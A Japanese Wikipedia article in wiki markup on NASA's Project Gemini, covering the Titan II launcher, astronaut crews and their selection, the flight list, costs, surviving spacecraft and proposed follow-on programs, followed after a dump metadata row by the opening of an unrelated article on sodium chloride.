[[タイタンII (ミサイル)|タイタンII]]はアトラスに替わる空軍の第二世代の[[大陸間弾道ミサイル]] (Inter Continental Ballistic Missile, ICBM) として、1962年に開発された。燃料と[[酸化剤]]にはアトラスでは[[液体酸素]]と[[ケロシン]]が使用されていたが、タイタンでは[[四酸化二窒素]]と[[ヒドラジン]]が採用された。これは混ぜ合わせただけで発火するという性質を持っているため、点火装置などの部品が不要になり、構造を簡素化することができた。また長期間の保管が可能になり、発射の手順も簡略化できた。唯一の弱点は、きわめて毒性が強いということであった。一方で初期のタイタンは[[ロケットエンジン#ポゴ振動|ポゴ振動]]が発生するという、人間を乗せて打ち上げるには深刻な問題を抱えていた。
ジェミニを打ち上げたタイタンには、[[ASC-15]]という独自の (独立した) 誘導コンピューターが搭載されていた。ジェミニ誘導コンピューターは重量が26.7キログラムで、サターンロケットに搭載されていた「サターン発射機デジタルコンピューター」ときわめて似ているものだった。
==宇宙飛行士==
16名の飛行士が、10の飛行に搭乗した。:
[[File:Astronauts White and McDivitt Inside Gemini IV Spacecraft - GPN-2002-000031.jpg|thumb|200px|ジェミニ4号船内のホワイトとマクディヴィット飛行士。1965年]]
[[File:Gemini8.1966.ws.jpg|thumb|200px|発射前に朝食をとるジェミニ8号の本搭乗員と他の飛行士たち。1966年]]
[[File:Gemini 4 Astronauts Meet Yuri Gagarin.jpg|thumb|200px|ジェミニ4号の飛行士たちと握手をする[[ユーリイ・ガガーリン]]。1965年]]
{| class="wikitable"
! グループ
! 飛行士
! 所属
! 飛行および地位
|-
| rowspan="3" |[[マーキュリー・セブン|飛行士グループ1]]<br>([[マーキュリー計画]]経験者)
| [[ゴードン・クーパー]]
| rowspan="2" | 空軍
| [[ジェミニ5号]] 船長
|-
| [[ガス・グリソム]]
| [[ジェミニ3号]] 船長
|-
| [[ウォルター・シラー]]
| 海軍
| [[ジェミニ6号]] 船長
|-
| rowspan="12" | グループ2<br/>(第二次選抜グループ)
| [[ニール・アームストロング]]
| 民間人
| [[ジェミニ8号]] 船長
|-
| [[フランク・ボーマン]]
| 空軍
| [[ジェミニ7号]] 船長
|-
| rowspan="2" | [[ピート・コンラッド]]
| rowspan="2" | 海軍
| [[ジェミニ5号]] 飛行士
|-
| [[ジェミニ11号]] 船長
|-
| rowspan="2" | [[ジム・ラヴェル]]
| rowspan="2" | 海軍
| [[ジェミニ7号]] 飛行士
|-
| [[ジェミニ12号]] 船長
|-
| [[ジェームズ・マクディビット]]
| rowspan="4" | 空軍
| [[ジェミニ4号]] 船長
|-
| rowspan="2" | [[トーマス・スタッフォード]]
| [[ジェミニ6A号]] 飛行士
|-
| [[ジェミニ9号]] 船長
|-
| [[エドワード・ホワイト]]
| [[ジェミニ4号]] 飛行士
|-
| rowspan="2" | [[ジョン・ヤング (宇宙飛行士)|ジョン・ヤング]]
| rowspan="2" | 海軍
| [[ジェミニ3号]] 飛行士
|-
| [[ジェミニ10号]] 船長
|-
| rowspan="5" | グループ3<br/>(第三次選抜グループ)
| [[バズ・オルドリン]]
| 空軍
| [[ジェミニ12号]] 飛行士
|-
| [[ユージン・サーナン]]
| 海軍
| [[ジェミニ9号]] 飛行士
|-
| [[マイケル・コリンズ (宇宙飛行士)|マイケル・コリンズ]]
| 空軍
| [[ジェミニ10号]] 飛行士
|-
| {{仮リンク|リチャード・F・ゴードン・ジュニア|en|Richard F. Gordon Jr.|label=リチャード・ゴードン}}
| 海軍
| [[ジェミニ11号]] 飛行士
|-
| [[デイヴィッド・スコット]]
| 空軍
| [[ジェミニ8号]] 飛行士
|}
===飛行士の選抜===
ジェミニ計画における飛行士の選抜について最大の権限を持っていたのは、飛行士管理部長の[[ドナルド・スレイトン]]だった。それぞれの飛行に本搭乗員と予備搭乗員を割り当て、予備搭乗員はその3つ後の飛行で本搭乗員になるという原則は、ジェミニ以降に確立した。スレイトンはまた最初の飛行任務を、マーキュリー・セブンで残っている4人の現役の飛行士、[[アラン・シェパード|シェパード]]、グリソム、クーパー、シラーに与えるつもりだった (7人のうち[[ジョン・ハーシェル・グレン|ジョン・グレン]]は1964年1月にNASAを退役していた。また[[マーキュリー・アトラス7号]]で、帰還の際に問題を発生させNASAの一部の上層部から非難されていた[[スコット・カーペンター]]は、海軍の海底居住実験SEALABに参加するために休職中で、1964年7月にオートバイ事故による怪我で任務を解かれた。スレイトン自身は心臓疾患が原因で地上任務に就いていた)。
1963年の後半、スレイトンはまずシェパードとスタッフォードをジェミニ3号の、マクディヴィットとホワイトを4号の、シラーとヤングを5号 (アジェナとの初のランデブーに成功することになる) の飛行士に任命した。3号の予備搭乗員はグリソムとボーマンで、彼らは初の長期宇宙滞在を目指す6号で飛行することになっていた。最後にコンラッドとラヴェルが4号の予備搭乗員に任命された。だがアジェナ標的衛星の開発の遅れにより、飛行士のローテーションに1回目の修正が必要となった。まずシラーとヤングが3号のシェパードとスタッフォードの予備搭乗員になり、同時に6号の飛行士に任命された。またグリソムとボーマンは、5号で長期宇宙滞在をすることになった。
2度目の修正は、シェパードが[[内耳]]の疾患である[[メニエール病]]を煩ったことにより生じた。まずグリソムが3号の船長に異動になった。またスレイトンは、グリソムには性格的にヤングのほうが相性が良いと感じていたので、スタッフォードとヤングを入れ替えた。さらにクーパーを、長期滞在をする5号の船長にした。また性格的な相性の理由から、4号の予備搭乗員の船長だったコンラッドを5号の飛行士に、ボーマンを4号の予備船長に異動した。最後に彼はアームストロングと[[エリオット・シー]]を5号の予備搭乗員に任命した。3度目の修正は、スレイトンがシーは体力的にジェミニ8号の船外活動をやりこなせないと感じたことにより行われた。彼はシーを9号の本搭乗員の船長にし、スコットを8号の飛行士に、バセットを9号の飛行士にした。
4回目にして最後となる修正は、シーとバセットが訓練機の墜落事故で死亡したことにより行われた。両名が搭乗する[[T-38 (航空機)|T-38]]は、セントルイスのマクドネル社の建物に激突した。奇しくもそこでは、彼らが搭乗することになる9号の宇宙船が製造中であった。予備搭乗員だったスタッフォードとサーナンが、新たに9A号と名づけられた飛行の本搭乗員となり、10号の予備搭乗員だったラヴェルとオルドリンが9号の予備搭乗員になった。これにより、ラヴェルとオルドリンには12号の本搭乗員になる道が開けた。
[[アポロ1号]]の火災事故で[[ガス・グリソム]]、[[エドワード・ホワイト]]、[[ロジャー・チャフィー]]の3飛行士が死亡したことにより、この最終調整はアポロ計画における最初の7名の飛行士の選抜に影響を与えることになった。それはまた、この7名のうち誰が最初に月面に降り立つのかということを意味していた。
==飛行計画==
[[File:Gemini 5 control room.jpg|thumb|right|ジェミニ5号におけるヒューストン管制センター]]
1964年から1965年にかけ、宇宙船システムと熱遮蔽板のテストのため2機の無人機が打ち上げられ、その後1965年から1966年にかけ10回の有人飛行が行われた。発射にはすべてタイタンIIロケットが使用された。ジェミニ計画における重要点は、以下の通りである。:
* 1965年[[6月3日]]、ジェミニ4号でエドワード・ホワイトがアメリカ初の船外活動 (宇宙遊泳) を行った。
* ジェミニ5号ではアポロ計画で最低限必要となる8日間の宇宙滞在をした。また初めて燃料電池が使用された。
* 1965年12月、ジェミニ6A号と7号がアメリカ初のランデブーを達成した。また7号は14日間の宇宙滞在をした。
* ジェミニ8号は無人のアジェナ標的衛星とのドッキングを達成した。
* 1966年9月、ジェミニ11号はアジェナ衛星のロケットを使用して高度1,369キロメートルに達した。この記録は、月飛行を除き、人間が搭乗する宇宙船が地球を周回した高度としては最高のもので、2014年現在に至るまで破られていない<ref name="Dumoulin">{{Citation2
| first = Jim | last = Dumoulin
| title = NASA Project Gemini-XI
| date = August 25, 2000
| url = http://science.ksc.nasa.gov/history/gemini/gemini-xi/gemini-xi.html
| accessdate = April 12, 2010 }}</ref>。
* ジェミニ12号では、バズ・オルドリンが長時間の船外活動を行い、人間が生命に危機を及ぼすことなく宇宙空間で行動できることを実証した。
軌道上でランデブーを行うのは、簡単な操作ではない。ある宇宙船が、先行する他の宇宙船に追いつこうとしたとする。この場合単純に速度を上げたら、高度が上昇して地球を周回する速度が減少するため、結果的には逆に距離が離れてしまうことになる。正しい手順は、まず減速することである。すると低い軌道に移行して宇宙船の速度が増すため、他機に先行する。その後再び加速すれば、目標の衛星と同じ軌道に乗ることができる<ref name="rendezAldrin">{{cite web2|publisher=Buzz Aldrin|url= http://buzzaldrin.com/space-vision/rocket_science/orbital-rendezvous/|title=Orbital Rendezvous|accessdate=2011-10-09}}</ref>。これらの手順を飛行士に訓練させるため、特殊な[[シミュレーター]]が作られた<ref name="rendezSim">{{cite web2 |publisher=NASA |url=http://history.nasa.gov/SP-4002/p1b.htm |title=NASA, Project Gemini|accessdate=2011-10-14|archiveurl=https://web.archive.org/web/20041107093750/http://history.nasa.gov/SP-4002/p1b.htm|archivedate=2004-11-07}}</ref>。
<gallery widths="180" heights="180">
File:Ed White with Space Gun maneuvering unit.jpg|ジェミニ4号で宇宙遊泳をするエドワード・ホワイト。1965年6月
File:Gemini 7 in orbit - GPN-2006-000035.jpg|ジェミニ6号と7号のランデブー。1965年12月
File:The First Docking in Space - GPN-2000-001344.jpg|ジェミニ8号から見たアジェナ衛星。このあと初のドッキングを行う。1966年3月
</gallery>
===飛行リスト===
{| class="wikitable"
! 飛行
! [[ローンチ・ヴィークル|発射機]]製造番号
! 船長
! 飛行士
! 日時
! 発射時間
! 期間
|-
! colspan=7 align=center|無人飛行
|-
| [[ジェミニ1号]]
| GLV-1 12556
|
|
| 1964年[[4月8日]] - [[4月12日]]
| 16:01 [[協定世界時|UTC]]
| 03日23時間<sup>1</sup>
|-
|colspan=7|ジェミニ初飛行。宇宙船は大気圏再突入の際、意図的に破壊された。<br><small>1: 飛行任務を遂行した時間は4時間50分で、すべての任務は軌道を3周する間に達成された。宇宙船はその後3日と23時間にわたって宇宙に滞在した。</small>
|-
| [[ジェミニ2号]]
| GLV-2 12557
|
|
| 1965年[[1月19日]]
| 14:03 UTC
| 00日00時間<br/>18分16秒
|-
|colspan=7|熱遮蔽板試験のための[[弾道飛行]]
|-
! colspan=7 align=center|有人飛行
|-
| rowspan="2" | [[ジェミニ3号]]<br /> [[image:Gemini3.png|frameless|45px]]
| GLV-3 12558
| [[ガス・グリソム|グリソム]]
| [[ジョン・ヤング (宇宙飛行士)|ヤング]]
| 1965年[[3月23日]]
| 14:24 UTC
| 00日04時間<br/>52分31秒
|-
| colspan="7" | ジェミニ初の有人飛行。軌道を3周
|-
| rowspan="2" | [[ジェミニ4号|ジェミニ IV]] <br /> [[image:Gemini Four patch.jpg|frameless|45px]]
| GLV-4 12559
| マクディヴィット
| [[エドワード・ホワイト|ホワイト]]
| 1965年[[6月3日]] - [[6月7日]]
| 15:15 UTC
| 04日01時間<br/>56分12秒
|-
| colspan="7" | アメリカ初の船外活動。ホワイトが22分間にわたり「宇宙遊泳」を行う。
|-
| rowspan="2" | [[ジェミニ5号|ジェミニ V]]<br /> [[image:Gemini5insignia.png|frameless|45px]]
| GLV-5 12560
| [[ゴードン・クーパー|クーパー]]
| [[ピート・コンラッド|コンラッド]]
| 1965年[[8月21日]] - [[8月29日]]
| 13:59 UTC
| 07日22時間<br/>55分14秒
|-
| colspan="7" | 初の1週間以上にわたる宇宙滞在。電源に燃料電池を初めて使用。将来のランデブーに備え、誘導と航法のシステムを検証。軌道を120周する。
|-
| rowspan="2" | [[ジェミニ7号|ジェミニ VII]]<br /> [[image:Gemini VII patch.png|frameless|45px]]
| GLV-7 12562
| [[フランク・ボーマン|ボーマン]]
| [[ジム・ラヴェル|ラヴェル]]
| 1965年[[12月4日]] - [[12月18日]]
| 19:30 UTC
| 13日18時間<br/>35分01秒
|-
| colspan="7" | ジェミニ6号はアジェナ衛星とドッキングをする予定だったが、アジェナの発射が失敗したため、代わりに7号が6号のランデブーの目標となった。7号の当初の目的は、人間が14日間にわたって宇宙に滞在できるかを検証することだった。
|-
| rowspan="2" | [[ジェミニ6-A号|ジェミニ VI-A]]<br /> [[image:Gemini 6A patch.png|frameless|45px]]
| GLV-6 12561
| [[ウォルター・シラー|シラー]]
| [[トーマス・スタッフォード|スタッフォード]]
| 1965年[[12月15日]] - [[12月16日]]
| 13:37 UTC
| 01日01時間<br/>51分24秒
|-
| colspan="7" | ジェミニ7号との初のランデブー。91.44メートルから最短で30センチメートルの距離を保ったまま、5時間にわたって編隊飛行を行った。
|-
| rowspan="2" | [[ジェミニ8号|ジェミニ VIII]]<br /> [[image:Ge08Patch orig.png|frameless|45px]]
| GLV-8 12563
| [[ニール・アームストロング|アームストロング]]
| [[デイヴィッド・スコット|スコット]]
| 1966年[[3月16日]] - [[3月17日]]
| 16:41 UTC
| 00日10時間<br/>41分26秒
|-
| colspan="7" | 無人のアジェナ衛星との間で、他の宇宙船との初のドッキングを行う。結合している最中に宇宙船の姿勢制御用ロケットが故障し噴射を始めたため、機体が異常回転をした。ほとんど危機的な状況だったが、アームストロングはアジェナを切り離し、何とか回転を止めることができた。アメリカの宇宙開発において、初の緊急着陸を行った。
|-
| rowspan="2" | [[ジェミニ9-A号|ジェミニ IX-A]]<br /> [[image:Ge09Patch orig.png|frameless|45px]]
| GLV-9 12564
| スタッフォード
| [[ユージン・サーナン|サーナン]]
| 1966年[[6月3日]] - [[6月6日]]
| 13:39 UTC
| 03日00時間<br/>20分50秒
|-
| colspan="7" | 5月に発射される予定だったが、当初の目標だったアジェナ衛星の発射が失敗したため予定が遅れた。増強型のドッキング装置を搭載したアジェナとのドッキングを目指していたが、衛星の保護カバーが完全に分離されていなかったため達成できなかった。3種類の異なる方法のランデブーと2時間の船外活動を行い、軌道を44周した。
|-
| rowspan="2" | [[ジェミニ10号|ジェミニ X]]<br /> [[image:Gemini 10 mission patch original.png|frameless|45px]]
| GLV-10 12565
| ヤング
| [[マイケル・コリンズ (宇宙飛行士)|コリンズ]]
| 1966年[[7月18日]] – [[7月21日]]
| 22:20 UTC
| 02日22時間<br/>46分39秒
|-
| colspan="7" | アジェナの推進ロケットを初めて使用。ジェミニ8号から続く3回目のアジェナとのランデブーも行う。コリンズは49分間にわたって宇宙船のハッチから身を乗り出し、また39分かけてアジェナから実験機器を回収した。軌道を43周。
|-
| rowspan="2" | [[ジェミニ11号|ジェミニ XI]]<br /> [[image:Gemini 11 patch.png|frameless|45px]]
| GLV-11 12566
| [[ピート・コンラッド|コンラッド]]
| [[リチャード・ゴードン|ゴードン]]
| 1966年[[9月12日]] – [[9月15日]]
| 14:42 UTC
| 02日23時間<br/>17分09秒
|-
| colspan="7" | 1周目の軌道でランデブーとドッキングを行ったあと、アジェナの推進ロケットを使用し[[近点・遠点|遠地点]]1,369キロメートル<ref name="Dumoulin"/>に到達。ゴードンは宇宙船から2時間にわたって身を乗り出し、33分間の船外活動を行った。軌道を44周。
|-
| rowspan="2" | [[ジェミニ12号|ジェミニ XII]]<br /> [[image:Gemini 12 insignia.png|frameless|45px]]
| GLV-12 12567
| ラヴェル
| [[バズ・オルドリン|オルドリン]]
| 1966年[[11月11日]] – [[11月15日]]
| 20:46 UTC
| 03日22時間<br/>34分31秒
|-
| colspan="8" | ジェミニ最後の飛行。アジェナとの手動によるランデブーとドッキングを達成し、船外活動の間その状態を保ち続ける。オルドリンは5時間30分におよぶ船外活動の記録を達成。その間1回の宇宙遊泳と、宇宙船から身を乗り出す船外活動を2回行い、これ以前の飛行で発生した船外活動に関わる問題を解決した。軌道を59周。
|}
==ジェミニ - タイタンの発射および製造番号==
{{Main|タイタンII GLV}}
{{multiple image
| align = right
| direction = horizontal
| header =
| footer = Left: GT-1からGT-12に至るまでのすべてのジェミニの発射 (左から) と、製造番号の表示位置
| image1 = Gemini Profiles.jpg
| width1 = 290
| alt1 = All Gemini Launches from GT-1 through GT-12
| caption1 =
| image2 = GPN-2000-000612.jpg
| width2 = 100
| alt2 = USAF serial number location on Titan II
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}}
NASAは空軍の[[タイタンII (ミサイル)|タイタン]]ミサイルを、ジェミニの発射機[[タイタンII GLV]]として採用した (同様にマーキュリー計画においては、空軍の[[アトラス (ミサイル)|アトラス]]ミサイルが発射機に採用されていた)。ジェミニ発射機には空軍の製造番号が割り振られていて、その番号は機体の4カ所 (第一段および第二段の前面と後面) に表示されていた。発射場の19番発射施設の維持管理は空軍のスタッフが担当し、同時にすべての発射機の準備および発射の進行も彼らが行った。タイタンを運営したことで得られたデータや経験は、空軍とNASA双方にとって有益なものであった。
空軍が割り当てたジェミニ発射機の製造番号は、上記の「飛行リスト」の表に書かれているとおりである。1962年に15機のタイタンIIが発注されたため、番号は「62-12XXX」となるはずだったが、実際には「12XXX」とだけ表示されていた。15機のうち最後の3機は1964年[[7月30日]]に発注がキャンセルされ製造されなかったが、GLV-13には「12568」、GLV-14には「12569」、GLV-15には「12570」の番号が与えられていた。
==計画の経費==
1969年1月にNASAが[[アメリカ合衆国議会|議会]]に提出するために準備した、マーキュリー、ジェミニおよびアポロ (初の月面着陸を行う) にかかる経費の見積もりによれば、ジェミニ計画の経費は12億8340万ドルで、その内訳は宇宙船に7億9740万ドル、発射機に4億980万ドル、その他が7620万ドルであった<ref>{{cite book2
| last = Wilford
| first = John Noble
| authorlink = John Noble Wilford
| title = We Reach the Moon
| publisher = Bantam Books
| edition =
| date = July 1969
| location = New York
| page = 67
| isbn = }}
</ref>。またオンラインマガジンの「スペース・レヴュー (The Space Review)」が[[2010年]]に行った試算によれば、1962年から1967年にかけてのジェミニ計画の経費を1967年の[[インフレーション|インフレ]]率で換算すると13億ドルで、2010年の貨幣価値では73億ドルに相当するとのことであった。またそれぞれの発射にかかった経費も、2010年現在で7億2300万ドルに相当した<ref name="lafleur20100308">{{cite news2 | url=http://www.thespacereview.com/article/1579/1 | title=Costs of US piloted programs | work=The Space Review | date=2010-03-08 | accessdate=February 18, 2012 | author=Lafleur, Claude}}</ref>。
==機材の現在の状態==
===宇宙船===
*ジェミニ1号:大気圏再突入の際に人為的に破壊される。
*ジェミニ2号:フロリダ州ケープカナベラル空軍基地の空軍宇宙ミサイル博物館に展示中
*ジェミニIII:[[インディアナ州]]ミッチェルのグリソム記念博物館に展示中
*ジェミニIV:ワシントンD.C.の[[国立航空宇宙博物館]]に展示中
*ジェミニV: テキサス州ヒューストンのジョンソン宇宙センターに展示中
*ジェミニVI:[[オクラホマ州]][[オクラホマシティ]]のオクラホマ歴史センターに展示中
*ジェミニVII:[[ヴァージニア州]]シャンティリ (Chantilly) のスティーヴン F アドヴァー・ヘイジーセンター (Steven F. Udvar-Hazy Center) に展示中
*ジェミニVIII:[[オハイオ州]]ウォパコネタ (Wapakoneta) の[[ニール・アームストロング航空宇宙博物館]]に展示中
*ジェミニIX:フロリダ州[[メリット島]]の[[ケネディ宇宙センター]]に展示中
*ジェミニX:[[カンザス州]]ハッチンソン (Hutchinson) のコスモスフィア (Cosmosphere) に展示中
*ジェミニXI:[[カリフォルニア州]][[ロサンゼルス]]のカリフォルニア科学センターに展示中
*ジェミニXII:[[イリノイ州]][[シカゴ]]の[[アドラー・プラネタリウム・アンド・天文学博物館]]に展示中
===訓練装置===
*ジェミニ3A —[[ミズーリ州]]セントルイスのセントルイス科学センターに展示中
*ジェミニMOL-B —オハイオ州[[デイトン (オハイオ州)|デイトン]]の[[ライト・パターソン空軍基地]]内、[[国立アメリカ空軍博物館]]に展示中
*ジェミニ訓練機 —[[アラバマ州]][[ハンツビル]]のアメリカ宇宙ロケットセンターに展示中
*ジェミニ訓練機 —[[メリーランド州]][[グリーンベルト (メリーランド州)|グリーンベルト]]のNASA施設内、[[ゴダード宇宙飛行センター]]の訪問者センターに展示中
*ジェミニ訓練機 —[[ケンタッキー州]][[ルイビル (ケンタッキー州)|ルイビル]]のケンタッキー科学センターに展示中
* 6165 —ワシントンD.C.の国立航空宇宙博物館 (非展示)
*エル・カボン (El Kabong, パラグライダーでの着陸試験で使用された機体) —[[ミシガン州]][[カラマズー (ミシガン州)|カラマズー]]のカラマズー航空博物館に展示中
*ジェミニ訓練機 —ミシガン州カラマズーのカラマズー航空博物館に展示中
*TTV-2 (パラグライダーでの着陸試験で使用された機体) [[イギリス|英国]][[スコットランド]][[エディンバラ]]のスコットランド国立博物館に展示中
*訓練機 —テキサス州[[フォートワース]]のペート (Pate) 運輸博物館に展示中
*訓練機MSC 313 —カリフォルニア州サンホセの私邸内
*ロガロ翼試験機 —[[ニューメキシコ州]][[ホワイトサンズ]]のホワイトサンズ宇宙港に展示中
*TTV-1 (パラグライダーでの着陸試験で使用された機体) —ヴァージニア州シャンティリのスティーヴン F アドヴァー・ヘイジーセンターに展示中
*名称未設定機 —フロリダ州ケープカナベラル空軍基地の空軍宇宙ミサイル博物館に展示中
*名称未設定機 —フロリダ州ケープカナベラル空軍基地の空軍宇宙ミサイル博物館に展示中
*出入 (Ingress/Egress) 訓練機 —アラバマ州ハンツビルのアメリカ宇宙ロケットセンターに展示中
*MSC-307訓練機 —カリフォルニア州[[アラメダ (カリフォルニア州)|アラメダ]]の[[空母]][[ホーネット (CV-12)|ホーネット]] (前アラメダ海軍) 博物館に展示中
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Gemini2x.jpg|空軍宇宙ミサイル博物館に展示されている''ジェミニII'' 2006年
Gemini3 Capsule.jpg|グリソム記念博物館に展示されている''ジェミニIII'' 2011年
Gemini IV Capsule.jpg|[[国立航空宇宙博物館]]に展示されている''ジェミニIV'' 2009年
Gemini V Space Center Houston.JPG|[[ジョンソン宇宙センター]]に展示されている''ジェミニV'' 2011年
Gemini VI-A Oklahoma History Center.JPG|オクラホマ歴史センターに展示されている''ジェミニVI-A'' 2011年
Gemini VII Capsule.jpg|スティーヴン F アドヴァー・ヘイジーセンターに展示されている''ジェミニVII'' 2009年
Gemini VIII Capsule.jpg|[[ニール・アームストロング航空宇宙博物館]]に展示されている''ジェミニVIII'' 2010年
Gemini IX-A Kennedy Space Center.JPG|[[ケネディ宇宙センター]]に展示されている''ジェミニIX-A'' 2011年
Gemini X Capsule.jpg|コスモスフィアに展示されている''ジェミニX'' 2010年
Gemini 11 capsule (front) at California Science Center.jpg|カリフォルニア科学センターに展示されている''ジェミニXI'' 2013年
Gemini XII Capsule.jpg|[[アドラー・プラネタリウム・アンド・天文学博物館]]に展示されている''ジェミニXII'' 2010年
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==提案された延長および応用計画==
===発展型ジェミニ===
{{main|Advanced Gemini}}
マーキュリーおよびジェミニ宇宙船の元請だったマクドネル社はアポロ宇宙船の入札にも参加していたが、[[ノースアメリカン]]社に敗れていた。マクドネル社は後に、派生的な応用計画を提案することでジェミニ計画を拡張することを模索した。その提案によれば、宇宙船は地球から遠く離れた[[宇宙空間]]を飛行することができ、またアポロよりも早く安いコストで有人月面着陸を達成することさえできたが、それらの提案はNASAに退けられた。
この一連の応用計画は発展型ジェミニ計画とみなされ、その中には軍事的飛行や宇宙ステーションへの人員や物資の輸送、さらには月飛行などが含まれていた。月飛行の提案には、アジェナ標的衛星のために開発されたドッキング装置を、宇宙船を月に送り込むことができる[[セントール (ロケット)|セントール]]のようなより強力な上段ロケットに乗せて再使用することから、ジェミニを改造した宇宙船で月面着陸を可能にさせることまで含まれていた。この応用計画は、アポロより前に有人[[月周回軌道|月周回]]飛行を達成し、アポロ宇宙船が危機に陥った際に飛行士を救出したり緊急避難場所を提供することなども含み、さらにはアポロ計画そのものに取って代わるものにさえなるはずであった。
発展型ジェミニの提案の中には、当初の設計から変わっていない「在庫品」の宇宙船を使用することも含まれていたが、一方でその他のものは、より多くの飛行士が搭乗でき、宇宙ステーションとドッキングし、月を訪れ、その他の飛行計画を実行することができる改造型であることを特徴としていた。また検討された改造の中には、宇宙船に航空機のような翼をつけたりパラセールを搭載するなどして、水平着陸を可能にさせるものなどもあった。
===ビッグ・ジェミニ===
{{Main|ビッグ・ジェミニ}}
ビッグ・ジェミニ (または"Big G") は、1969年8月にマクドネル社によってなされたもうひとつの提案である。これは宇宙船により多くの搭載能力を持たせ、究極的にはアポロや後の[[スペースシャトル]]で行われたような、宇宙への全目的的な飛行を可能にすることを意図していた。
この研究は、軌道上の宇宙ステーションに再補給をするために使用されることになる、ジェミニに由来する輸送用宇宙船の定義を予備的に設定するために行われた。その設計においては、あらかじめ選定された地上の特定の場所に着陸できる能力、機能の刷新、および機器の再使用などが要求された。宇宙船には2つの基本線が設定された。1つは最小限の改造 ('''min'''imum '''mod'''ification) を施し乗員9名を搭乗させるジェミニB案で、Min-Mod Big Gと呼ばれた。もう1つは外形は同じだが、新しい最先端のシステムを搭載し乗員12名を搭乗させる、Advanced Big G (発展型ビッグG) と呼ばれるより高度な発想のものであった{{citation needed|date=September 2013}}。これらの宇宙船の発射機としては、[[サターンIB]]、[[タイタン (ロケット)|タイタンIIIM]]、[[サターンロケット|サターン]]INT-20などが検討された。
===軍事的応用===
空軍はジェミニのシステムに関心を示し、その改造型の宇宙船を有人軌道実験室 (MOL) の搭乗機として使用することを決定した。この目的を達成するためジェミニ2号の宇宙船が改装され、MOLの実物大模型の上に乗せられタイタンIIICロケットで打ち上げられたが、同一の宇宙船が二度宇宙に行ったのはこれが最初の例であった。
また空軍はジェミニ宇宙船を、地上の (特殊な偵察用カメラを搭載しない) 概略的な監視を行ったり、不審な衛星へのランデブーを実行したりするような、軍事的応用のために採用する考えを持っていた。この計画は[[ブルー・ジェミニ]]と呼ばれた。空軍は宇宙船が海軍に回収されることになるという事実を好まなかったため、ブルー・ジェミニには最終的に本来の設計にあったような[[翼型|翼]]を持たせ、3本の橇を使って地上に着陸させることを意図していた。
当初NASAの内部には経費を空軍と負担し合うことを歓迎する者もいたが、後にはNASA自身で計画を進めたほうが上手くいくことになるということで合意が形成された。ブルー・ジェミニ計画は1963年に[[アメリカ合衆国国防長官|国防長官]]の[[ロバート・マクナマラ]]によって廃止された。彼は必要な軍事的実験は、NASAのジェミニ計画によって実行できると決定した。またMOL計画は1969年に国防長官メルヴィン・レイヤード (Melvin Laird) によって廃止された。彼は無人の[[偵察衛星]]が、同じ機能をより安い費用で行えると決断した。
==脚注==
{{脚注ヘルプ}}
===注記===
{{reflist|group="Note"|colwidth=30em}}
===引用===
{{Include-NASA}}
{{reflist|2}}
===参考書籍===
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| first1 = Gene
| last2 = Hamblin
| first2 = Dora Jane
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| location = Boston
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* {{cite book2
| last1 = French
| first1 = Francis
| author1link = Francis French
| last2 = Brugess
| first2 = Colin
| author2link = Colin Burgess (author)
| title = In the Shadow of the Moon: A Challenging Journey to Tranquility, 1965-1969
| publisher = University of Nebraska
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* {{cite book2
| last1 = Gainor
| first1 = Chris
| title = Arrows to the Moon: Avro's Engineers and the Space Race
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* {{cite book2
| last = Gatland
| first = Kenneth
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| publisher = Macmillan
| location = New York
| isbn =
| year = 1976 }}
* {{cite book2
| last1 = Hacker
| first1 = Barton C.
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| first2 = James M.
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* {{cite book2
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| author1link = Gene Kranz
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| accessdate = 2015-01-03
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* Gemini Summary Conference (NASA report SP-138) —Manned Spacecraft Center —Houston, Texas, February 1–2, 1967
== 関連項目 ==
* [[マーキュリー計画]]
* [[アポロ計画]]
* [[スプートニク計画]]
* [[ボストーク]]
* [[宇宙開発競争]]
== 外部リンク ==
{{Commonscat|Gemini program}}
* [http://science.ksc.nasa.gov/history/gemini/gemini.html NASAによるジェミニ計画概説]
* [http://history.nasa.gov/SP-4002/contents.htm NASAによるジェミニ計画クロノロジー]
* [https://web.archive.org/web/20150302112233/http://www.nationalmuseum.af.mil/factsheets/factsheet.asp?id=551 アメリカ空軍博物館ファクトシート]
* {{Wayback|url=http://spaceinfo.jaxa.jp/ja/gemini_program.html |title=JAXAによる解説 |date=20070418154908}}
* [http://www-pao.ksc.nasa.gov/kscpao/history/gemini/gemini.htm John F. Kennedy Space Center —The Gemini Program]
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* [http://www.ibiblio.org/mscorbit/document.html Gemini familiarization Manuals (PDF format).]
* {{YouTube| uhMyT6FlRI8 | "Legacy Of Gemini - 1967 NASA Educational Documentary"}}
* [http://history.nasa.gov/series95.html NASA History Series Publications] (many of which are on-line)
* [http://www.umsl.edu/%7Ewhmc/exhibits/gemini/index.htm Project Gemini McDonnell Employee Video Interviews and Archival Documents: Western Historical Manuscripts Collection in St. Louis, Missouri]
* [https://web.archive.org/web/20120115232738/http://www.news.com.au/technology/gallery-e6frflwi-1226241891580?page=1 Newly released color photos of Gemini in Space]
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[[Category:ジェミニ計画|*]]
[[Category:NASA]] | 2003-04-16T09:42:21Z | 2023-11-24T07:40:12Z | false | false | false | [
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6,800 | 塩化ナトリウム | 塩化ナトリウム(えんかナトリウム、英: sodium chloride)は、化学式 NaCl で表されるナトリウムの塩化物である。単に塩(しお)、あるいは食塩と呼ばれる場合も多いが、本来「食塩」は食用や医療用に調製された塩化ナトリウム製品を指す用語である。式量58.44である。
人(生体)を含めた哺乳類をはじめとする地球上の大半の生物にとっては、必須ミネラルであるナトリウム源として、生命維持になくてはならない重要な物質である。
天然には岩塩として存在する。また、海水の主成分として世界に広く分布する塩()でもある(約2.8%)。この他、塩湖や温泉(食塩泉)などにも含有されていることで知られる。
塩(えん)の中でも正塩(せいえん)の1種。結晶構造は塩化ナトリウム型構造で、塩化物イオンとナトリウムイオンから成るイオン結晶であり絶縁体である。常温、大気圧下で白色の固体。無臭だが、独特の塩味を持つ。純粋な塩化ナトリウムは20°Cでは湿度75%まで潮解性を示さない。
融点800.4°C。溶融するとナトリウムイオンと塩化物イオンに分離するため電気を通すようになる。溶融時には揮発性を持つ。
塩酸と水酸化ナトリウムの中和によって得られ、水溶液は中性を示し伝導性を有する。
塩化ナトリウムの温度変化による溶解度の変化は非常に小さく、冷却による再結晶化では少量の結晶しか得られない。一般には、水(溶媒)を蒸発させて溶液の濃度を高めるか、塩化水素ガスを吹き込んで溶液中の塩化物イオン濃度を高めて結晶化させる方法がとられる(原理は記事 溶解度積を参照)。
海水中の塩化ナトリウムの存在量は膨大であるが、同じく膨大な量が存在する岩塩も利用されている。
